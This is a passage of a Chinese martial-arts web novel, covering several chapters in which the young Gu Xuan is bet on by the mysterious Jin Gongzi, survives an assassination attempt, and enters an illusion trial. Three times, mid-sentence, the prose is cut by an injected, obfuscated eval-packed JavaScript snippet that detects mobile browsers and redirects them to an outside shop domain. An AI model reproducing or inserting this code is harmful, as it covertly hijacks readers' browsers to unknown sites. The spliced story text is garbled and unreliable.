前在江湖上小有名气的赌神,以前他可不干这行,是个正派的江湖子弟。后面为报贵人的恩情才到这京城当一个赌坊的掌柜。醉华亭也不算赌坊吧,你要是绕到那赌坊的后面就会看到醉华亭三字了,前院听戏喝茶,后院赌,醉华亭的主要生意是听曲儿。” 不得不说,靳公子就像一个巨大的消息库,好像什么消息八卦他都知道,摇扇谈笑间一件事或一个人的平生就从他的嘴里说出来了。 顾暄得到了自己想要的消息后,心里将该记的记了一遍,复而对靳公子连连道谢。 靳公子摆摆手,显然不甚在意,“知道这些消息对我来说不算什么,对普通人来说是有些费劲。我还以为你想问别的有价值的东西呢,比如你那几个对手的实力和背景。” 说到后面,靳公子意味不明地笑了笑。 十六个人里,顾暄除了自己就知道青城山的李无逍、苗疆的秀格和北安王世子沈昧,其他的最多混个脸熟,连名字都喊不上。 为了第三轮比赛,这十六个人中有人已经将所有对手的背景和实力调查清楚了,有的人即使没到那个地步,但也对厉害的那几个人有一定了解。 靳公子这几日在京城,云庄大选的消息不断流入各个赌坊、酒楼和歌栏,赌坊里甚至有人开始押注,看谁最有可能列位第一。 他乐得看热闹,但对顾暄这个小家伙又有点担心。所有人中就他年纪最小,十五岁,倒数第二的十七岁,年纪最长的二十三岁。赌坊押注里押他胜的人寥寥无几,几近于零。 年纪小但能进入第三轮比赛,实力不差是肯定的,天赋也许还有一些,但在比他大了这么多岁的对手面前,肯定还是差点意思的。靳公子的意思是他本来优势不多,不如在了解对手方面上下点功夫,也多几分胜算。 顾暄却像听不懂他的话一样点头附和:“是啊,我这几天都碰到几个跟我的人了,啧。” 他知道靳公子身份不简单,要问什么现在是很好的机会。他不想问,一是十六个人中表现比较突出的那几个人他略略记了一下,二是他不想将这个人情花在这些问题上,今天问的问题已经够多了。 靳公子没等到他的问题,转了一下话题:“嗯,最近赌坊里在押注,押你们之中谁会是第一。” 顾暄低头喝了口茶,毫不意外地笑笑:“那我肯定是倒数了。” 靳公子气馁,在小二端菜上来时止住了口,专心拿起筷子吃饭。 差不多时候搁下筷子,靳公子说:“你这些天好好习武吧,我后面十来天可能有些忙,就不一定能来这望江楼了。但是你比赛后我一定来,你哪天要是有空就过来吃顿饭吧。” 顾暄表情有些吃惊,不知是不是惊讶于看起来闲散得不行的靳公子有一天会忙起来。 顾暄朝他举了举杯,道:“公子繁忙之余注重身体,这些天的照拂多谢了。” 靳公子同样举了举杯,仍不死心:“你真的没有什么要问的吗?” 真没见过这种追着人硬要给消息的。 顾暄想了想,“其实我一直很好奇你的身份。” “这么好奇怎么不问?不像是你的风格。” “我问了你就说么?” 靳公子知道他叫什么和来自哪里,其他的私人问题一概没问,不是对他的身份熟悉至极,就是像顾暄对靳公子这样保持一定好奇,等着对方亲自说出来。 靳公子笑眯眯:“不说,等你比赛完再说。” 顾暄双手作揖,甘拜下风:“好的。” 21. 赌注 顾暄起身将小窗关小了些,避免这风闪了这位风流公子的腰。擂台下献唱的是一位江南歌女,吴音软侬,不同于前面几位登台的西北或京城地区的歌女,她的歌声温软动听,如同山间缓缓流淌的小溪、清晨百谷鸟清脆的鸣声。 刚刚一曲终了,三层楼喝彩声不断,扔下朵朵饱满的娇花,以此来表达对这位女子歌声的赞美。花香与乐声缠绵,那眉心画着花钿的女子在飘落的花瓣雨里抬起头盈盈一笑,起身敛衽一礼。 顾暄留了一条缝,那窗外的歌声得顺着这条缝溜进来,一时间歌声模糊了一些,倒像隔着云雾听曲。 靳公子摇着折扇笑看顾暄站起身关窗,即将离开时他又折返。靳公子以为他回心转意,精神一振,问:“怎么?” 顾暄没落下什么东西,只是脸上一副沉思的表情,问:“你赌博么?赌的话给我下注吧,说不定就赢了呢。” “所以这就是您这会过来的原因?”一位身着黑色长衫的中年男子恭恭敬敬地立于靳公子身侧,微微俯身出言询问。 靳公子坐在两面深紫色帘子后,帘子前充斥着各种声音,喝彩声、喊叫声、欢呼声和懊恼声,每一个赌徒的声音。 这里的门前写着一副奇奇怪怪的对联,门后的墙壁是用金色颜料混着金粉刷的,每隔一个包间墙上就挂着价值不菲的书画,时不时能听到的筹码撞击的声音。这里的照明珠将黑夜照得宛若白天,这里的弦歌可以彻夜不断,这里将纸醉金迷写到极致。 这里是京城最繁华的醉华亭。 靳公子手腕一抖,那折扇打开,映入眼帘的是四个草书大字——公子王孙,狂傲之气扑面而来。 他点点头,语气随意,“是啊,所以我就过来了。” 男子一时摸不透这位爷的心思,便维持着那个姿势出言提醒:“这位公子虽然天赋异禀,但败在年纪轻,押他的人不多。要是他年长几岁说不定胜算更大些。您确定要将赌注押在他一个人身上?不如分一部分到其他人身上?” 眼前这人喜好一向让人捉摸不透。曾有热衷献媚的人自认为摸清他的喜好,一连三次设宴请他过去。靳公子一连三次都不按这人的套路走,所以至今很少人知道他的喜好,只知道这人喜好无常,上一秒喜欢的东西可能下一秒就扔了。 靳公子听了会帘外的声音,忍不住按了按一侧太阳穴,似乎是觉得这声音吵闹。他说:“不必,此子性非池中物,更何况少年天才哪能以年纪论之?输了就输了,当买个乐子玩玩。” 那男子不敢多言,即刻照做,心下却想靳公子这乐子可真贵,他要是押输了得赔不少钱,估计他南郊那几亩地都要赔出去了。 更何况,那位诞辰将近,靳公子要操心宴席流程,今晚怎么得空来这里了?这位公子什么来头?让他一副陪着玩儿的作派? 下一秒,靳公子的视线扫过来。猝不及防与那双墨色的眼睛对视上,那男人立即低头告罪,待听见那句轻飘飘的“没事”后才告退,一出包间才发觉后背渗着一层汗。 第二日,京城在云庄大选上押了注的人发现,原本败率最高的人有人下注了,而且下的还不少。 一些人觉得这叫古月的人实在是人傻钱多,另一些人觉得不太对劲,想暗中调查一下这人的背景,却发现这人就像一张白纸,除了一个名字,是男是女和家自何处等一概不知。 第七日,顾暄在街上碰见李无逍,被他一把薅住肩膀。李无逍说:“顾兄,你知道有人拿云庄大选做赌么?有个人押了你,而且下注还不少。” “是么?”顾暄露出一点恰到好处的惊讶,“谁啊?会押我?” 他心里直犯嘀咕,不会是靳公子真的去下注了吧? 在听到那个数字再加上赔率后,饶是东平王次子也瞪大了眼睛。他要是输了,靳公子岂不是连家底都输光了? 李无逍长吁短叹,“我的天呐,看到这个我真的惊到了。这古月是谁?你相好?怎么对你这么信任?” 顾暄:“…你相好。我刚来京城哪认识什么相好?没准是我的崇拜者吧。” 看李无逍的表情,估计是对这人厚如城墙的脸皮甘拜下风了。 顾暄问:“现在押谁最多?” 李无逍指了指自己,示意道:“我。” 顾暄“诶”了一声,“太好了,你最高我最低,咱俩走一块了。” 李无逍扎着一个马尾,那截头发随着他走路一晃一晃的,他走在前头,手枕在脑后。闻言他乐了,“你别说什么高低的,昨天我福至心灵,也给你押了点钱……” 顾暄震惊得停住脚步,一时间有些无法理解这人的脑回路。 李无逍说:“不知道为啥,明明你是最少人押的那个人,我却感觉你不一样。” 顾暄想起李无逍在大赌中必输的习惯,干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278653|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴巴地笑了几声,笑声像两块石头摩擦出来的。他心想按李无逍的运气,他就真得完了。 于是顾暄劝道:“大赌伤身,李兄不如把钱押给自己,多几分胜算。” 李无逍不在意地摆摆手,道:“小赌小赌,没事的。我还给秀格押了……” 他话音未落,一个黑纱覆面的姑娘就与他们擦肩而过,李无逍那没说完的话卡在那里不上不下,只得露出一双透着点愚蠢的杏眼目送人家的背影。 秀格听到自己的名字,抬眼扫了李无逍一眼,李无逍登时绷紧后背。没参与李无逍谈话的顾暄逃过一劫,秀格连一个眼神也没分给他。 被李无逍一带,顾暄也停在原地。等秀格走了过去顾暄才回过神来,心想这李无逍是不是跟秀格气场不合啊? 李无逍转头看了看秀格,那人的背影已经消失在人群中了。李无逍转头问:“顾兄,你和秀姑娘是我唯二两个记得的名字,我说我就因为这个给你们押注,不是因为我变态,你说秀姑娘信吗?” 刚才还秀格,现在就秀姑娘了。 顾暄确认秀格已经走远后,摊了摊双手,神情真挚,“不知道啊。” 第八日晚上,月色如流水般洒在地面上,夜间温度低,此时已经是九月上旬了。某处安静的宫殿里,壁炉里燃起火焰,暖意在这处空间里蔓开,靳公子一袭月白色长衫,正和对面人手谈。 若顾暄在场,看到靳公子的面容必定会惊讶。原因无他,靳公子此时的面容不是顾暄以前所见的面容。 对面人落下一子,“朕听说你最近在赌坊里下注不少。” 靳公子执棋未落,没有抬头,目光落在棋局上,“换了个假名的,兴致上来了玩一把,皇兄不必担心。” 对面人耐心地等他落棋,在这空隙甚至还接过一旁侍候的灰衣人端着的茶水,低头饮了一口。 “你给谁下注了?” 靳公子落下一子,总算觉得舒服了些,他换了下坐姿,道:“顾暄,日字旁那个暄,是柳青的次子,我觉着这人有意思,便跟他多说了几句话。” 靳公子觉得有意思的人……肯为他下了那么大的赌注,仅仅是因为多说了几句话的关系? 对面人拿着棋子的手一顿,灰衣人默然上前将他手中的茶盏接过来。那人扫了眼棋局,落棋,然后是一句轻轻的话。 “是他啊,朕还没见过他呢。” 22. 遇刺 第十日,因身为云庄弟子的谢予几人不方便来,李无逍短暂闭关,再加上靳公子也忙起来了,顾暄除了上街吃饭便是一个人习武。 他始终觉得吃了一次望江楼的饭菜后,再去吃别家的饭菜,总觉得味道差了点意思。大概是一开始的起点就很高了,往后遇到不如起点的都觉不尽人意。 客栈后有一片比较隐蔽的竹林,在征得掌柜同意后,顾暄便在这里习武。 顾映向岭南一带游历,九月初的岭南还不需要披上薄披风,气温简直可以和七八月份的京城媲美。 王爷担忧顾暄在京城不习惯,让他天冷添衣,千万别冻着自己了。他以自己的切身经验告诉顾暄京城的冬天是怎样的,这些还是顾暄第一次听的,毕竟王爷在他面前很少谈及京城往事,谈的最多的是他年少的美名。 王爷说要是他运气好,十月就可以看到京城的第一场雪。 顾暄写完给父兄的书信,在两封信里夹了几张京城的落叶,叶脉分明,落叶的颜色是灿烂的金黄,这是不同于东临城、安州和岭南一带的落叶,独属于京城的落叶。 第十一日傍晚,顾暄正在房中歇息,忽然小二来敲门,说他寄出去的书信出了些问题。 他和王府的书信是靠王府独有的信鸽送的,一些王侯也是这么做的。书信上印着侯府标志,就是借鉴前人经验,使得有时候因失灵的信鸽而掉落的书信可以通过官府途径送达。 顾暄趁着天未黑到邮驿,取回了耽搁了半天行程的两封信。他将信收进怀里,疑惑是不是北方天气太冷了,让这些信鸽也失灵了? 从邮驿到他下榻的客栈需要经过一条比较偏僻的小巷,在东街小巷偏僻的,不外乎是与命案相关的。 顾暄给自己壮了壮胆,匆匆往这条巷子走去。慢慢的,顾暄发现他后面也有一个人跟他一样,走进这条巷子。 顾暄默不作声地握住剑柄,加快了脚步。身后那人的脚步也快了起来。 一阵与风声不同的声音混着风声从后面扑来,顾暄一躲,避开了那一剑。 下一秒,雪落出鞘,两把剑碰撞发出火花一般的光芒。顾暄看清了那人的脸,那人长着一张很普通的脸,普通得让人下一秒忆不起来他的面容。 江湖上有两种秘术,一种戴人皮面具掩盖原本容貌,也叫易容术,戴得严实一些的甚至要用显颜水洗去;另一种通过奇异宝物来变换容颜,如他戴的那枚由灵山玄石做成的坠子。这人极可能是戴了面具的。 顾暄被震得虎口发疼,连退几步。他也太倒霉了,这一个多月打了几次架?又被别人打了几次?以前还有王府侍卫高手护着他,现在的他哪来的救兵? 他在悲愤的同时不忘疑惑,这人要来杀他还是干嘛?谁派他来的?他现在的实力,一重境中境,而且还不稳,怎么跟这个看起来二重境以上的人打? 顾暄转身就跑。 那短短几百米的路像是长得没有尽头,顾暄头也不回地用尽轻功,只觉背后凉飕飕的。童年时期听王爷讲的鬼怪故事不合时宜地浮现在脑海里,什么一个人夜半走路肩上突然搭了一只手。 他也确实感到背后有阵寒意越逼越近。突然,一道白光闪过,“轰”的一声,顾暄闻到一股新鲜的血液味。 他一口气跑了十来米才转过头,那易容人握着那截还在滴着血的手腕,神色警惕地朝一个方向看去。顾暄顺着他的视线看去,看到一位灰衣男子持剑站在屋檐上,见到两个人的目光都向他投过来,那人身影一闪,瞬间落在顾暄身前不远处。 易容人不敢轻举妄动,灰衣人哼笑一声:“谁派你来的?刺杀王侯公子可是大罪。” 易容人后退几步,显然是想跑。那灰衣人动作更快,几个瞬息就抓住他的肩膀了,显然修为比那易容人高了不少。 灰衣人抓着他的肩膀,下一秒却皱了皱眉,啧了一声。 顾暄收好剑赶了过去,问:“怎么……” 他的话音止住了。原来是那易容人嘴角渗出一缕深紫色的血,眼睛黯淡无光。 灰衣人摸了摸那人的颈侧,道:“死士,任务没完成便服毒自尽。” 他先看了看那深紫色的血,从怀里掏出一个白色小罐,倒了点白色粉末在自己手上,在那人脸上摸了片刻,随即用那只手将易容人的面具扒了下来。 顾暄还是第一回见这大变活人,一时间也来不及问这灰衣人是谁了。 一张完整的人脸面具被扔到一边,面具下那张脸死白死白,歪鼻斜眼,露出两颗牙使得他更像耗子了。 那灰衣人打量他片刻,估计是没看出什么信息,语气有些失望,“还以为根据面相能看出来自哪儿,没想到丑出花样了。” 顾暄小心翼翼问:“前辈,您是?” 灰衣人看着和靳公子差不多年纪,眉骨挺高的,整个人身上感受不到内力波动,看他几步就追上那易容人的本事,顾暄推测这人修为挺高的。 灰衣人的目光就像在看一件物品一样,似乎是想将他里里外外打量透了,让顾暄有种被看透了的感觉。他不自觉地蜷缩手指,腰也挺直了些。 灰衣人注意到他的小动作,道:“别紧张啊,二公子,我跟他不同。”说着还指了指地上这位长得像耗子的兄弟。 顾暄听到他对自己的称呼,敛了敛神色,“前辈认识我?” 灰衣人笑笑:“剑门取剑,云庄一二轮比试均通过,想不知道你都难。对了,我叫林炀。” 听到前半句话,顾暄心里还有点飘飘然,听到后半句,他大吃一惊。 林炀,剑仙林炀?太子的师父林炀? 他一惊讶,说话都有些结巴了:“林、林炀?你是剑仙……”话没说完意识到当着人家面直呼人大名不礼貌,又止住了话,剩一双大眼睛看着林炀。 林炀摇摇头,道:“剑仙什么的,都是人取的,算不得什么。二公子,你可真是心大,这么晚叫你出来你真出来了……” 这话背后的意思很多。林炀得知道他为什么会到这里,以及邮驿通往客栈的几条路里他会选择这条,还有他提前知道有人要对他动手。另外,林炀为什么要帮他? 顾暄心虚地转了转眼睛:“一时不慎。前辈,这人为什么要对我动手啊?还有您为什么帮我?” “好问题。”林炀一边说,一边取出一个小巧的烟花筒,他将这玩意抛上天空,一道炫目的烟火在天空中炸开,伴随着一声独特的、偏高的鸣声。 离东街有些距离的皇宫里,谢予正听着两位叔叔的闲聊。忽而听到这鸣声,他神色一凛,低声告退随后闪到殿外。那烟花在空中由一朵变成两朵,两朵变成四朵……片刻后,天空上有一片绚烂的花海。 他眯了眯眼,原本在手里盘着的珠串被他戴在手上。 “对你动手,不外乎是大选,要么是其他事了,你就先别管了。这几天注意安全,暂时将心思放在大选上吧。至于我为什么救你,王爷与我是旧识,他打听到我最近得闲,传书让我看着点你。” 林炀放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278654|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完烟花后蹲下身在易容人身上摸索着,打算找找有什么作为线索的东西。说到后面他还有点怨气,翻了个白眼,“好不容易闹腾的家伙出门了,我还想着能悠闲几天,你爹这信来得真会挑时间。” 闹腾的家伙……林炀只有太子一位徒弟,说的难道是他么? 下一秒听到“王爷”一词,顾暄那颗心定了定,原本被薄汗粘湿的衣衫被风一吹,竟有些冷了。王爷的名字就像一座山一样,顾暄迷茫无措时往后一靠,发现还可以依靠在这里,发现王爷还在他的背后。 顾暄跟着他蹲在地上,笑道:“麻烦前辈了,王爷找您不正说明您厉害吗?” 林炀没摸到什么东西,干脆远离那位耗子兄,找了块干净地坐下,招呼顾暄也过来。他听到顾暄的话,哼笑一声:“你小子……你爹找了几位旧识,有人不方便露面,有人是只会写文章的书呆子,担子就落在我这个会点刀剑的粗人身上了。” 顾暄用手拍了拍地上的尘土才坐下,听到他的话抬头看他:“还有其他人啊,他这样太大阵仗了……” 话末带了点忧心。这里毕竟是京城,正值云庄大选,王爷这样做被人知道未免不会落人口舌。 林炀说:“是啊,等大选过去了你可以见见。不过也别太担心,王爷只叫我们看着你点,惹了祸代他拦一拦,除了你的安全大选的事他是一点也不关心。” 顾暄点点头,就听到他继续说:“你这阵仗还不算什么,有人为了大选还千里迢迢写了几十封信呢,那才是真正的阵仗大……不对,那儿到京城没有千里……” 几十封信写给谁?这倒是一个好问题。 顾暄刚来京城,不便参与这类话题。他笑了一下,转而问林炀:“前辈,您刚才放的烟花是什么?传信用的?” “对,云庄给的,入选弟子要是在比试前出事了,对云庄的名声也有影响。我估计时间也该到了……” 他说得真准,下一秒马蹄声阵阵,显然是有人来了。为首一人逆着月光而来,看到他们后拉了拉马缰。身着白衣的几人下了马,等他们走近,顾暄才发现为首一人是谢予,后面跟着柳无喧、云谨和其他两个人。 在顾暄起身后,林炀慢悠悠起身,顺道拍了拍身上的尘土沙子,道:“人全须全尾在这儿了,死者在那边,查人的事你们来吧。” 谢予负责道谢和与林炀交流具体细节,顾暄不认识姓名的那两个人负责到那边查看尸体情况,柳无喧给顾暄把过脉,确认他没事后松了口气。 柳无喧说:“幸好你没事,不然王爷得把我们几个大卸八块了。为了你的安全,这几天你就住在云庄里吧,还是东平王府?” 京城有一座东平王府,顾暄没去过,因为要到那儿住少不了要跟皇帝打个招呼,不然说不过去。顾暄想着大选完再入宫见一见,毕竟他爹说了不着急。 顾暄道:“我去云庄吧。”然后跟着他们回客栈收拾东西。 谢予叫人抬走那具死尸,然后有专人来查这人的身份。同在京城,这人的身份很快被查到了,顺藤摸瓜,又扯出了其他人。 云庄门下有专门负责探查信息的机构。但是这一次不同,除了这个,谢予还用到了其他几方势力,比如靳公子那边的,比如…… 想到那个名字,谢予止住思绪。不到两个时辰,易容人的信息就整整齐齐放在谢予案上。 谢予略略翻了翻,看到某个名字时神色一冷,他将折子扔回案上,哂笑一声。 “睿王叔……” 23. 三面(一) 住进云庄后,他人打探就少了很多,顾暄终于可以安静习武了。苦于境界不稳,这几天他除了练功便是苦修心法,由最基础的心法练起。为了避嫌,柳无喧几人这几日便没有过来。 顾暄好奇那晚是谁要对他动手,苦于找不到人问,只能按捺住疑问,等比试完后再问。 到了第三轮比赛那天,顾暄翻箱倒柜,找了一件天青色长衫,出门前左看右看,确定仪态无误后才出门。 李无逍闭关出来,不知为何还是一脸困倦相。看到顾暄,他过去打了个招呼,道:“昨天睡多了,困死我了,早点比完赛我早点回去睡觉。” 中庸之道还是百用不厌,睡多了困,睡少了也困。 旁人看着这次大选中胜算最大的人跟顾暄走在一起,看顾暄的目光也带上了几分好奇和探究。 沈昧还是老样子,红衣烈烈,身旁以他为中心站了几个人。秀格黑纱覆面,一个人安静站在人群边缘。 一群人被带到一处很大的习武场,二楼上都是来看比赛的。所以说第三轮面试来的人很多——大多是比赛负责人和来看比赛的人。 顾暄的目光掠过那一张张神色各异、年岁不同的脸,身旁有跟他一同比赛的人轻轻念了几个名字,无一不是朝中大官或江湖大门派的长老。 还有几张脸隐在帷幕后,风吹过帘子,珠子碰撞的声音都格外清脆。 负责云庄第三轮比赛的是内院地位仅次于庄主的三大长老以及庄主的三位弟子,加上外院几位长老,可谓是群英汇聚。 只不过那位庄主没来。顾暄听到李无逍叹了口气,半抱怨地说这“装”主也忒神秘了,跟个待嫁的大老爷们似的。 其他人失望的点在于庄主今年可能不收徒了,上一次大选他露了个面,一次收了两位徒弟,再加上那位不在大选年收的首徒,庄主很大概率觉得三位徒弟够了。 柳无喧站在几位长老身后,闻听李无逍此言嘴角忍不住抽了抽,将脸侧过去了一些。谢予轻咳一声,柳无喧又变回了那副正经神色。 内院三长老身着一样的兰花白袍,身姿轻盈。大长老慕容肃是一位留着白胡子、面相约莫六十多岁的神情严肃的老人;二长老文言殊比大长老年轻一些,表情也温和一些;三长老木廿则是一位鬓角带着点灰、脸上没什么表情的女子。 院中众人不约而同俯身下拜:“弟子见过诸位长老。” 站在前方的慕容肃抬手往下压了压,略一点头,道:“经过前两轮比赛来到这里的诸位都是万里挑一的天才,在此先对各位的到来表示祝贺。” 他顿了一下,“今年第三轮比赛与往年有所不同,诸位需要进入幻境中,规定时间内出来的人为胜。” 顾暄压低声音问:“往年的第三轮比赛是什么样的?” 李无逍:“我记得是跟几位长老交手。” 顾暄摸着下巴,隐约觉得不对劲,“今年没这么好事吧?” 李无逍附和,示意顾暄跟自己去排队,准备进入幻境了。沈昧这家伙连排个队都要膈应他一番,他跟李无逍排得好好的,沈昧忽然从旁边挤了进来,连带着他那几个“小弟”。李无逍及时拉了他一把,避免了他被撞倒的悲剧。 沈昧进幻境前还回头挑衅地看了他一眼。 顾暄简直被气笑了,心道:你出来也像进去这么快就老实了。 排在他后头的李无逍不满道:“怎么还插队?真是世风日下。” 幻境入口是一道白光,里面是什么一概不知。顾暄看着前面的人接连被白光吞噬,手心里不觉渗了点汗。 一阵耀眼的白光刺来,他下意识闭上眼睛,睁开眼睛时发现眼前的天地已经换了一番。 眼前的树木正应了“松柏参天”这词,虽然这些树木看起来跟松和柏都没关系,说是它们的后代或亲戚都胡扯了,这里的树木的树皮都是诡异的横纹,统一得吓人。 花草也比外面的大几倍。顾暄身处其中就像缩水了一样。参天的树木遮住了大半部分阳光,让整片森林更加阴凉,也更加诡异。 他小心翼翼避过一朵红艳如血的大花,探头向周围看了看,除了天空、树木和草地,周围死一般的寂静,连个人影也没有。他原先以为幻境会把他们分到一块再让他们分头行动,想来是他天真了,没准一开始就把他们分开了。 顾暄仰头看了看,只能看见过五关斩六将透过来的一小片阳光,他又看了看几朵大花的阴影,大致推断出此时是什么时刻——离天黑还有一个半时辰。 他不敢乱靠那些奇怪的树,也没法一屁股坐在那些大得吓人的花草上,看来看去好不容易找了块花草稀少的地儿站着思考。 规定时间内出来为胜,意味着这里有出口,他们需要找到这个出口。 他看了看四周,俱是一模一样的花草树木,分不清哪条路更胜一筹。要不凭心而动,靠感觉而走?毕竟这几个方向从眼睛上看并无太大差异。 凭感觉的话,他应该选一条路,然后选这条路的反方向走,毕竟他这几次倒霉极了。反着来总归是有道理的。 顾暄一只手扣着冰凉的剑鞘,这点冰凉暂时缓解了他的焦虑;另一只手无意识地做着小动作。他的目光忽而一凝,看见地上土壤的颜色与外面的有所不同。 他用了点力,鞋尖踢起一些泥土,露出底下那部分泥土。被踢起的泥土覆着浅浅的红色,底下的泥土却偏深紫色,跟倒了染料似的,看起来怪异极了。 顾暄正准备蹲下去细细察看时,忽然顿住了。风缓缓吹过,连花草和树叶也随之摇曳,挨得近的彼此碰撞和摩擦,发出独属于它们的声音。 这种声音中,参杂着另一种声音。细微,窸窣,不似人走路声,但也是摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278655|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦的声音。 顾暄屏住呼吸,脚尖一点,往左前方掠去。背后一声巨响,像什么重物砸在地上。 他一回头,被不远处的景象骇住了。一只有两三人高的不知道几只腿的蜘蛛停在他刚站过的地方,一只螯肢插在土里,要不是顾暄跑得快下场就是被它串起来了。 顾暄一阵恶寒,他对这些虫子向来敬而远之,没想到有朝一日要面对比往日虫子大几千倍的东西。 他没有犹豫,马上就沿着一个阳光偏多的地方跑了。难怪这些奇奇怪怪的花草除了那块地方之外,生得到处都是。感情那是大蜘蛛经常出没的地方啊,也难怪寸草不生、寸花不生。 身后一阵窸窸窣窣,他直觉是有东西追上来了。寒光一闪,利剑出鞘,剑锋所及之处带来破风声,这一击他没有留力,竟一剑砍落了那怪物的一只腿。 喷出来的血液溅在旁边的草地上,几秒后,被血液沾过的花草慢慢枯萎。顾暄看得汗毛倒竖。 他记得蜘蛛是靠振动辩位的,便将轻功运用到极致,不要命地往前跑。为了防止它追上来,顾暄又费力砍了它几只腿。 直到跑到腿软,等到那蜘蛛没了踪影时,顾暄才缓下脚步。现下来到了一片树木没那么多、空间相对开阔的地方。这幻境也太恐怖了,一开始就耗去了他不少内力,不知还有何方妖怪在前方。 没等这口气缓过来,一道火符飞来,伴着一个熟悉的警惕的声音:“谁?” 顾暄堪堪一躲,没完全避开,被那火烧着头发了,连忙拍灭,怒道:“李无逍。” 那声音里的警惕松了下来,几秒后一道人影窜了出来,正是穿着白衣的李无逍,身后还跟着一个年轻温和的青衣男子。 李无逍显然大喜过望,上来就给了他一个熊抱,“我天呐,终于看到你了,我还以为又是那怪物。” 顾暄被这熊抱勒得呼吸困难,捕捉到他话里的“又”字,问:“你们遇到了什么?是那种很大的蜘蛛吗?” 李无逍放开了他,眉目转阴,显然是对刚才的怪物有阴影:“不是,我一开始落在一片很大水域旁,走着走着和这位兄弟碰面了,刚想找找附近哪里藏着线索的,一条大蛇就从水里窜了出来,骇死我了,这辈子没见过这么大的蛇。” 那位青衣男子留意到顾暄说的蜘蛛,问:“公子是被大蜘蛛追着来了此处的?” 顾暄点头,比划了一下,“和两个人加起来差不多高的蜘蛛,从树林里爬出来了。” 几个人一阵沉默。青衣男子下意识捂住胸口,呻吟道:“虫子……” 李无逍烦躁地用脚尖点了点地,道:“我宁愿被现实里一群人追着打,也不愿在幻境里被这些东西追着,太恶心了。” 顾暄看了看他们身后,道:“有蛇那边应该是不能走了,南边有大蜘蛛,还剩两个方向,怎么选?” 24. 三面(二) 李无逍还没说话,青袍男子先细声细气地开口了:“在下只求能入内院,无意庄主弟子之位,路上凶险,还要几位通力合作。” 李无逍看了看周围的环境,嘀咕道:“我们能不能在这幻境活下来都不好说了,真费尽心思找到了出口,谁胜又有什么区别?而且那‘装’主都没来呢,指不定人家今年不收徒。” 顾暄刚才看见陆子凌下意识的动作,问:“…你,很怕虫子吗?” 青袍男子脸色有点发苦,点点头:“是啊,从小到大这毛病改不了。在下陆子凌,夫子的子,凌云的凌。见过二…公子。” 说到“二公子”时他有一瞬间停顿了,下一秒他又自然地接了上去。 顾暄没见过这人,这人却认得他。顾暄伸出手和他握了一下,笑笑:“我是顾暄,左边日字的暄。” 李无逍在旁边看着两人打完招呼,才问:“你们想好了往哪里走吗?” 顾暄用手指了指东边,道:“那里有大蜘蛛。” 陆子凌接道:“南边有海蛇。” 李无逍:“好吧。” 他绕着原地走了几圈,从怀里摸出一张符纸,甩在空中,并起两指隔空写字,黄色符纸上浮现一行行赤红的繁琐文字。待最后一点落下,李无逍指尖冒出一簇火,将那符纸自下而上燃了。 三双眼睛下,那符纸燃成一堆灰。那堆灰原本对着李无逍那个方向,在燃尽之后却飘到了另一个方向,明明顾暄也没感觉到起风了。 那堆灰落在了西边的方向。 李无逍:“不知道准不准,符咒显示这个方向。” 顾暄觉得稀奇,问:“这是什么?” 旁边的陆子凌轻声细语地解释了一番:“这是青城山的独创符咒,以修道之人的五感为引,通常用在方向不定时。” 李无逍拾起那堆灰,放入一个香囊中,“是啊,希望在幻境里这招也管用。” 反正谁也不知道哪个方向安全、哪个方向凶险,三人便沿着西边出发。 斜阳如血。一进入相对茂密的森林,仰头看只能看见一片红得吓人的天空。偶尔几只乌鸦飞过,嘎嘎作响,跟被人掐住脖子一样难听,叫声似乎都格外不详。 李无逍为了缓解这诡异的气氛,开口道:“我五岁自上山以来便没有下山了,托这次大选的福,来到了繁盛如春的京城,真让在下开了眼。” 顾暄哈哈笑道:“不瞒李兄,我也是第一次来京城。” 京城本地人陆子凌道:“哪处风景不是看多了才觉平常?二位看久了便不觉惊讶了。不过顾兄久伴王爷身侧,不曾来过京城,这倒是让我惊讶。” 不怪陆子凌大惊小怪,往年的朝觐或举国盛事,封地王侯便可携亲眷入京,如今的北安王世子便来了京城几趟,相比之下顾暄就很“足不出户”了。 顾暄说得玄乎其玄:“唉,这说来话长。某年王爷要带我哥哥和我去京城,动身前几天,我被贼人伤到,一连躺了几天。醒来后我爹说一个路过的神仙似的算命先生说我十五岁前不可以离开东临城,不然就有血光之灾。事情就是这么个样。” 陆子凌:“王爷和你真信了?” 顾暄点点头,心上漫上一丝怀念。王爷去京城那小半个月,顾映怕他在府中无聊,所以自他生了那场大病后便不再跟着王爷入京了,情愿待在府中陪他。 李无逍不自觉摸了摸下巴,“谁给你算的命啊?神仙一样的人物?你们莫不是遇见了神棍。” 